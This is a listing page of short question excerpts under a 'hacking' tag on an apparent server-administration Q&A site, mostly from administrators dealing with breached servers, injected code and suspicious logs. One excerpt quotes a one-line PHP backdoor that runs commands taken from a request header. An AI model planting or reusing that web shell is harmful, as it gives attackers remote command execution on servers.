Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

4
votes
4answers
7k views

.htaccess file hacked, how to prevent this in future? [closed]

The hacker added a code in .htaccess file to redirect all search engine traffic to a malware website. I am now investigating this incident and trying to find out security loop holes. My situation is ...
3
votes
6answers
3k views

I think my server is being hacked. What should I do? [duplicate]

I'm not a server admin and I have very little experience in "debuging" a server. But from looking at my log files, it looks as if I'm being hacked. But I have no clue to what I should do :-/ I was ...
1
vote
1answer
234 views

PHP Backdoor code [closed]

I've found a php backdoor on my host. <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that ...
1
vote
2answers
546 views

How to ban potential hacker IP Addresses from Port 80?

I am hosting a bunch of PHP web sites on a web server. While I have taken all precautionary mesaures to protect all ports, Port 80 specific attacks continue. I want to ban any IP Address that taken an ...
4
votes
2answers
732 views

Mac Server Access.log concerns, possibly hacked? (newb sorry)

this is what my web access.log looks like (well a short snippet) 46.4.33.46 - - [20/Jul/2011:11:56:18 +0100] "GET http://allegro.pl/matematyka-wokol-nas-6-zeszyt-cwiczen-czesc-1-2-i1727657348.html ...
1
vote
2answers
77 views

how to prevent attacker search for file in my server

I have many errors in log file like: [Tue Jul 19 09:56:45 2011] [error] [client 61.160.222.90] File does not exist: /var/www/vhosts/xxx.com/httpdocs/xqxsmirserver6.rar [Tue Jul 19 09:56:45 2011] ...
7
votes
2answers
2k views

Bypassing htaccess restrictions?

I found this in my apache access logs access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 ...
1
vote
1answer
973 views

Examining PHP hack script [closed]

I found a number of PHP scripts on a friends webserver which had been loaded by hackers. The actual code was hidden using several layers of encryption as follows. They had a huge string assigned to a ...
0
votes
2answers
252 views

I have being hacked through a virtual server [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY My site has been hacked and all sites on the virtual server have also been hacked. I need to know how they got in. The code they ...
3
votes
1answer
340 views

How did a phisher upload to my server?

My webhost notified me they got a complaint from bank of america that one of my accounts under my reseller (WHM) account was compromised by a phisher. Once the host unsuspended my account I tried to ...
3
votes
3answers
440 views

Anti-DDoS Question [duplicate]

Our company´s main owner (telecon group) wants us to deploy anti-DDoS mechanisms, such as Arbor Pravail, which is a great idea. Although... I have a question... If our main ISP Backbone provider have ...
6
votes
9answers
2k views

Is it worth hiring a hacker to perform some penetration testing on my servers? [closed]

I'm working in a small IT company with paranoid clients, so security has always been an important consideration to us. In the past, we've already mandated penetration testing from two independent ...
4
votes
5answers
5k views

has my server been hacked w00tw00t.at.ISC.SANS.DFind

I'm quite sure my server's been hacked. I'm seeing these entries in my access log as the last two before a series of 500 error messages, It's related to the DB but I haven't found out the exact error ...
1
vote
2answers
712 views

How secure are files hosted on IIS Anonymously with Directory Browsing Disabled?

To elaborate a bit on this point, I'd like to know how secure are documents hosted on an IIS website with the following configuration: IIS Directory Listing Disabled Anonymous Access is Enabled Site ...
0
votes
4answers
78 views

Requesting different websites with IP and headers

Is it possible to lure a website from the web server without relying on DNS records? Windows IIS WebServer was working with headers, Linux is working with virtual server names etc. Imagine this ...
4
votes
2answers
236 views

Security Flaw - Report it?

This may be a community wiki, I'm not sure. Imagine a scenario where you discover a security flaw in a company's website while browsing the web. Something involving a change to URL parameters that ...
0
votes
2answers
204 views

Did My Server Get Attacked?

I logged into my server today and saw the following unrecognized code at the top of my directory browse window: document.writeln("");var el = ...
-1
votes
3answers
459 views

To what extent can you secure a system? [closed]

To what extent can you filter/firewall for suspicious traffic or lock down a system? If you have everything up to date and secure, what can you do to protect against a 0 day? I assume an IDS might ...
4
votes
2answers
245 views

What can I do with an IP address of a visitor that tried to access a shell exploit that was planted on my system?

My website was exploited (don't worry about how) and the result was there were several WebShells installed in various locations. The exact web shell is just like the one listed in this question here ...
6
votes
3answers
422 views

Somebody eating all our bandwidth, what should I do?

OK, this is frustrating, my site got thousands of page views/connections in the last 3 days and finally we ran out of monthly bandwidth. We bought more bandwidth and closed the site for maintenance. ...
2
votes
4answers
2k views

front page keeps getting hacked

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not). It usually says "hacked by general" or something similar. When I check the files on one of them, ...
-3
votes
2answers
383 views

Is running this SED command safe? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY Hello, my whole site got hacked possibly by a wordpress exploit, i am in a hurry to explain in detail, but PLEASE do me a favor and ...
1
vote
1answer
175 views

Removing redirection to antivirus in a hacked web page [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY After some sort of hacking, the main URL of my website now redirects to a fake antivirus page. How can I remove this thing?
2
votes
5answers
2k views

Finding out who hacked my site [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY All Joomla! sites hosted on a single server of mine were hacked and had the following code injected into the index.php files ...
1
vote
3answers
240 views

What can be causing the following hack?

Server information: Windows XP Service Pack 2 Microsoft-IIS/6.0 Generally speaking the server is out of my countrol (for the time being.) I can request patches that are missing but ...
3
votes
3answers
2k views

Amazon EC2 instance possibly Compromised

I have an EC2 instance that may have been compromised. The instance responds far too slowly as of last week and recently I've checked the httpd access_logs and they are in excess of 11Gigs, despite ...
4
votes
6answers
9k views

How did they hack my Wordpress sites

I have many wordpress sites hosted in a Bluehost shared hosting environment. Recently when I searched one of the sites in Google, it said "The site might be compromised". I got alerts from Google ...
3
votes
4answers
414 views

Web server minimum password security based on 100 attempts per second

This insightful article proposes that passwords don't need to be very secure: http://www.baekdal.com/tips/password-security-usability? There is one specific line in here that I find troubling: ...
-2
votes
3answers
383 views

Server hacked with javascript

eOHello. I just got hacked! The hacker injected code into my website files on my server. Server: Debian Lenny, Apache 2.2, PHP 5.2, MySQL 5 EDIT: Apparently my question wasn't deemed good enhough ...
5
votes
1answer
4k views

How do I decode this WordPress hack? [closed]

I found an offending string in a client's WordPress-powered website, and I just want to know what it does. ...
0
votes
2answers
452 views

How is it possible that multiple computers on a network are being maliciously redirected

Intermittently, and not at the same time, computers connected the network will redirect to Stop-online-piracy.com (may not want to go there). The domain responds with the source: <div ...
2
votes
2answers
2k views

Ubuntu Server hack

I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history ...
2
votes
3answers
650 views

Discover LAN's IP range, netmask & gateway?

If I am plugged into a network with no DHCP and no reachable 'sample' hosts where I can peek in the configs. how do I discover/guess the network IPs range, netmask? Gateway IP address? P.S. Don't ...
0
votes
3answers
394 views

DDoS Network Protection Devices

In our office we're running a Cisco ASA 5510 firewall. Is this device enough if we want to protect against DDoS attacks? What devices (like cisco guard, etc) do you recommend and what's the user ...
2
votes
4answers
4k views

My computer is sending ICMP packets to arbitrary destinations

My computer is sending ICMP packets to arbitrary destinations. I can't understand the reason. Dump of one of the packet is : Internet Control Message Protocol Type: 3 (Destination unreachable) ...
0
votes
2answers
867 views

.htaccess htpassword protect, safe enough?

I'm blocking my site via .htaccess, htpassword. I heard from a friend that it's really a joke and it can be bypassed in a minute. Is that true? What are other methods that I can use to prevent ...
2
votes
3answers
100 views

Migrating server post server hack: what should we be scrubbing the data for before moving it over?

In preparation for migrating servers after an infiltration, we want to scrub our data and make sure it doesn't contain any malicious hacks or security holes. To give you an idea of what I mean, ...
2
votes
3answers
6k views

hosts.deny not blocking ip addresses

I have the following in my /etc/hosts.deny file # # hosts.deny This file describes the names of the hosts which are # *not* allowed to use the local INET services, as decided # by the ...
9
votes
5answers
5k views

Should I report hacking attempts?

I am running a small (Windows-based) server. When I check the logs, I see a steady flow of (unsuccesfull) password-guessing hacking attempts. Should I try to report those attempts to the owners of the ...
0
votes
3answers
2k views

Security: How to check if our server is hacked?

Our server are hosting a website, but we find our database are added some tables, so we suspect if the server was hacked ? How can I confirm this and solve it ?
0
votes
2answers
743 views

Hex \x hacking attempts on web server

I've been seeing a lot of these in my Apache 2 logs recently: Invalid URI in request ...
0
votes
2answers
217 views

Registry remotley hacked, Windows 7, need help tracking the perp

I was writing some .VBS code at the office that would allow certain file extensions to be downloaded without a warning dialog on a Windows7x32 system. The system I was writing this on is in a lab on ...
6
votes
3answers
441 views

Need help recovering a corrupt SQL database

I have a very special case that I have been working on for several days. I have a very large SQL Server 2008 database (about 2 TB) that contains 500 filegroups to support very large partitioned ...
2
votes
1answer
208 views

What are some topics you'd like to see covered in an 'Introduction to Network Security' book? [closed]

I'm trying to put together a list of topics in Network Security and prioritize them accordingly. A little background on the book - we are trying to gear the text towards college students, as an ...
11
votes
7answers
2k views

Hacking prevention, forensics, auditing and counter measures

Recently (but it is also a recurrent question) we saw 3 interesting threads about hacking and security: My server's been hacked EMERGENCY. Finding how a hacked server was hacked File ...
404
votes
13answers
78k views

How do I deal with a compromised server?

This is a Canonical Question about Server Security - Responding to Breach Events (Hacking) See Also: Tips for Securing a LAMP Server Reinstall after a Root Compromise? Canonical ...
3
votes
4answers
839 views

Strange stuff in apache log

I'm building some kind of webapp, and currently the whole thing runs on my machine. I was combing down my logs, and found several "strange" log entries that made me a bit paranoid. Here goes: ...
6
votes
2answers
709 views

Finding Webserver Vulnerability

We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but ...
0
votes
2answers
343 views

How to recover deleted gmail emails? [closed]

Is there a program to recover emails that I deleted in my gmail account? I've already checked the "trash" and they are gone.Please help me.
3
votes
1answer
108 views

iptables: 0.0.38.69 ACCEPT?

Just looking at the firewall rules on a Debian Lenny box with "iptables -L". One entry is scaring me: ACCEPT all -- 0.0.38.69 anywhere ACCEPT all -- anywhere ...